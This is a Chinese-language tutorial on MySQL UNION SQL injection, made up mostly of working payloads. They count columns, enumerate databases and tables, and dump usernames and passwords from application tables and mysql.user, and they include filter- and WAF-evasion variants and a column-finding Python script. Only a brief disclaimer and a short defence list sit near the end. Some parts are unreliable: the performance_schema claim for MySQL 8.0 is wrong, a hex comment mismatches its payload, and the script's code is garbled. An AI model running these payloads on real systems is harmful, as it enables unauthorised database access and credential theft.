
MySQL UNION注入实战精准定位回显位与跨库查询技巧1. 理解UNION注入的核心机制UNION注入的本质是利用SQL查询中的UNION操作符将恶意构造的查询结果附加到原始查询中。这种攻击方式之所以有效是因为它满足了两个关键条件页面存在数据回显点应用程序未对用户输入进行充分过滤UNION操作的特殊要求前后SELECT语句的列数必须相同对应列的数据类型必须兼容默认情况下UNION会去除重复行使用UNION ALL可保留在实际渗透测试中我们经常遇到这样的场景通过参数修改发现页面内容会随输入变化但传统的AND 11测试可能无法准确判断注入类型。这时ORDER BY二分法就成为了更可靠的探测手段。2. 三步精准定位回显位2.1 使用ORDER BY确定列数ORDER BY子句通常用于排序但在注入中它成为了探测查询列数的利器。其原理是当ORDER BY指定的列序号超过实际列数时数据库会抛出错误。操作流程?id1 order by 5-- # 无回显说明列数小于5 ?id1 order by 3-- # 正常回显 ?id1 order by 4-- # 无回显确定列数为3高效技巧采用二分法快速定位如先试10再试5逐步缩小范围注意观察页面返回差异有些系统错误信息可能被隐藏2.2 NULL占位符确定回显位置确定列数后下一步是找出哪些列会在页面中显示?id-1 union select null,null,null--然后逐步替换NULL为可见字符?id-1 union select 1,2,3--为什么使用NULLNULL可以匹配任何数据类型避免因数据类型不匹配导致的查询失败MySQL 5.7对类型检查更严格NULL是最安全的占位符2.3 跨版本兼容性处理MySQL 5.7与8.0在information_schema的使用上有重要差异特性MySQL 5.7MySQL 8.0元数据访问直接查询information_schema推荐使用performance_schema默认权限宽松更严格查询效率较低优化明显关键差异示例-- MySQL 5.7可用的跨库查询 ?id-1 union select 1,group_concat(schema_name),3 from information_schema.schemata-- -- MySQL 8.0更安全的替代方案 ?id-1 union select 1,group_concat(schema_name),3 from performance_schema.schemata--3. 高级Payload构造与自动化探测3.1 二分法ORDER BY自动化脚本以下是Python实现的自动化探测脚本核心逻辑import requests def find_columns(url, param): low, high 1, 20 while low high: mid (low high) // 2 payload f{param}1 order by {mid}-- - response requests.get(url, params{id: payload}) if error in response.text.lower(): high mid - 1 else: low mid 1 return high3.2 针对不同MySQL版本的特化PayloadMySQL 5.7专用技巧-- 利用group_concat突破长度限制 ?id-1 union select 1,2,group_concat(table_name separator br) from information_schema.tables where table_schemadatabase()-- -- 十六进制编码绕过过滤 ?id-1 union select 1,2,concat(name,0x3a,password) from users--MySQL 8.0优化方案-- 使用JSON_ARRAYAGG替代group_concat ?id-1 union select 1,2,JSON_ARRAYAGG(table_name) from information_schema.tables where table_schemadatabase()-- -- 利用sys schema获取元数据 ?id-1 union select 1,2,table_name from sys.schema_table_statistics where table_schemadatabase()--4. 实战中的疑难问题解决4.1 数据类型不匹配问题当UNION两侧查询的列类型不匹配时可以采用以下解决方案-- 使用CAST或CONVERT函数 ?id-1 union select 1,2,CAST(user AS CHAR) from mysql.user-- -- 使用CONCAT强制转为字符串 ?id-1 union select 1,2,CONCAT(user,:,password) from users--4.2 单引号被过滤时的替代方案-- 使用十六进制表示字符串 ?id-1 union select 1,2,table_name from information_schema.tables where table_schema0x6D7973716C-- # 0x6D7973716D mysql -- 使用CHAR函数构造字符串 ?id-1 union select 1,2,table_name from information_schema.tables where table_schemaCHAR(109,121,115,113,108)--4.3 结果截断问题处理当回显位置有长度限制时-- 使用SUBSTRING分段获取 ?id-1 union select 1,2,SUBSTRING((SELECT password FROM users LIMIT 1),1,30)-- -- 结合MID和OFFSET ?id-1 union select 1,2,MID((SELECT GROUP_CONCAT(password) FROM users),31,30)--5. 安全防护与检测规避虽然本文讲解注入技术但必须强调这些技术只应用于合法授权的安全测试。对于防御方建议防御措施使用参数化查询Prepared Statements实施最小权限原则对数据库错误信息进行过滤定期进行安全审计WAF绕过技巧仅用于测试-- 注释符变种 ?id1/*!UNION*//*!SELECT*/1,2,3-- -- 空白字符混淆 ?id1%0bUNION%0cSELECT%0d1,2,3%23 -- 大小写混合 ?id1 uNiOn sElEcT 1,2,3--在实际渗透测试项目中我曾遇到一个案例通过精心构造的UNION注入在MySQL 8.0环境下成功获取了跨库数据关键点是发现系统虽然过滤了information_schema但未限制performance_schema的访问。这种细微的版本差异往往成为突破的关键。